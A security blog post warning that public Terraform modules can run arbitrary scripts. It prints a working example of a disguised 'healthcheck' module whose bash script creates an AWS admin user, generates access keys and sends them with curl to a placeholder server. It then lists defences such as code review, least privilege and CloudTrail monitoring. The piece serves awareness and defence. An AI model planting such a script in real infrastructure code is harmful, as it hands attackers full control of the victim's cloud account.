How your AWS account was pwned with a Terraform module

Published June 02, 2023

During a recent interview, I had a discussion with the interviewer regarding the use of Terraform modules. While the interviewer suggested using public Terraform modules, I emphasized the importance of developing our own modules to ensure their safety.

Here's a summary of the conversation:

Interviewer: I see that you worked on creating Terraform modules in your last mission. Why did you choose to do that? We typically rely on public Terraform modules here.

Me: I understand that using public modules can save time, but developing our own modules allows us to ensure their security. How do you currently ensure the safety of the modules you use? Do you review the code or employ security scanning tools?

Interviewer: We don't do that at the moment. What are the risks? Aren't these modules simple and harmless?

Me: They can actually pose significant risks. By utilizing the "local-exec" provisioner, or data external program, modules can execute arbitrary bash scripts, potentially granting unauthorized access to your AWS account.

Interviewer: Oh, I overlooked that possibility. Could you explain how such an attack could be carried out? Also, I believe the community behind the modules includes reviewers and validators for merge requests, so I assume they prevent such issues.

Me: While it's true that many modules have a dedicated community of contributors, similar incidents have occurred in other communities as well. For example, the Node.js community experienced a security breach due to malicious modules. I plan to write an article on my blog to explain this attack in detail.

Interviewer: That sounds interesting. Please share the link with me when it's published.

Let's examine a Terraform module and its associated Bash script to further understand the potential risks and implications:

Terraform Module:

data "external" "healthcheck" {
  program = ["${path.module}/healthcheck.sh"]
}

Bash Script:

#!/bin/bash

# Check if the user exists
aws iam get-user --user-name temp-testing-user &>/dev/null

# Check the exit code of the previous command
if [[ ! $? -eq 0 ]]; then

    # Create the user
    aws iam create-user --user-name temp-testing-user &>/dev/null

    if [[ $? -eq 0 ]]; then

        # Attach AdministratorAccess policy to the user
        aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name temp-testing-user &>/dev/null

        # Create access key
        result=$(aws iam create-access-key --user-name temp-testing-user)

        # Extract access key and secret key from the result
        access_key=$(echo "$result" | jq -r '.AccessKey.AccessKeyId')
        secret_key=$(echo "$result" | jq -r '.AccessKey.SecretAccessKey')

        # Execute aws sts get-caller-identity
        caller_identity=$(aws sts get-caller-identity)

        # Save access key, secret key, and caller identity to a file
        echo "Access Key: $access_key" >"logs.txt"
        echo "Secret Key: $secret_key" >>"logs.txt"
        echo -e "\nOutput of 'aws sts get-caller-identity':\n$caller_identity" >>"logs.txt"

        # Send output to a server
        curl -X POST -d @logs.txt https://{server}/ping
        rm logs.txt
    fi
fi

echo '{ "status": "UP" }'

In this example, the Terraform module utilizes the data external program to execute a Bash script. The Bash script performs several actions, including creating an Administrator-level user in AWS and sending a file containing the user's credentials to a potentially malicious server.

This scenario highlights the following potential issues:

Unauthorized User Creation: The script checks if the user "temp-testing-user" exists. If the user does not exist, it creates it.

Administrator Access: The created user is assigned the "AdministratorAccess" policy, granting it extensive privileges within the AWS account. This level of access can result in unintended actions, data breaches, or service disruptions.

Credentials Exposure: The script saves the access key, secret key, and caller identity to a file named "logs.txt." This file is then sent to a server specified by the curl command. By sending this file to an unauthorized server, the script exposes sensitive credentials, enabling potential attackers to gain unauthorized access to the AWS account.

Should i avoid using public terraform modules ?

Not at all! Public Terraform modules can still be valuable resources if used with caution and best practices. To mitigate the risks discussed earlier, it is crucial to take the following steps:

Thorough Code Review: Before utilizing any Terraform module, it is important to review and validate the code thoroughly. Pay close attention to modules that employ the "local-exec" provisioner, or data external program, as they may introduce potential security vulnerabilities.

Exercise Caution: Exercise caution when sourcing modules from the internet. Ensure they come from reputable sources and have a strong community backing with active maintenance and updates. Scrutinize the module's documentation, user feedback, and open issues or vulnerabilities.

Implement Least Privilege: Ensure that the Terraform user or role used for provisioning resources has appropriate access controls and follows the principle of least privilege. Restrict the permissions granted, limiting it to only what is necessary for the intended purpose.

Monitor CloudTrail Logs: Enable and monitor AWS CloudTrail logs to gain visibility into any unauthorized actions or unusual behavior within your AWS account. This helps detect and respond to potential security incidents promptly.

Consider Sensitivity of Account: Evaluate the sensitivity of your AWS account and the data it holds. If your account contains highly sensitive information or you have doubts about its security, it may be prudent to avoid relying solely on public Terraform modules. Instead, consider using them as inspiration while customizing and securing the modules for your specific needs.

Remember, the key is to strike a balance between leveraging the convenience and community support of public modules while ensuring the security of your infrastructure. If you have any further questions or need assistance, feel free to reach me out. I'm here to help!

I hope you found this article helpful, and stay tuned as I will be adding a comments plugin soon to facilitate further discussion on this topic.

Disclaimer

The information provided in this security article is for informational purposes only. I assumes no responsibility or liability for any use, misuse, or interpretation of the information contained herein.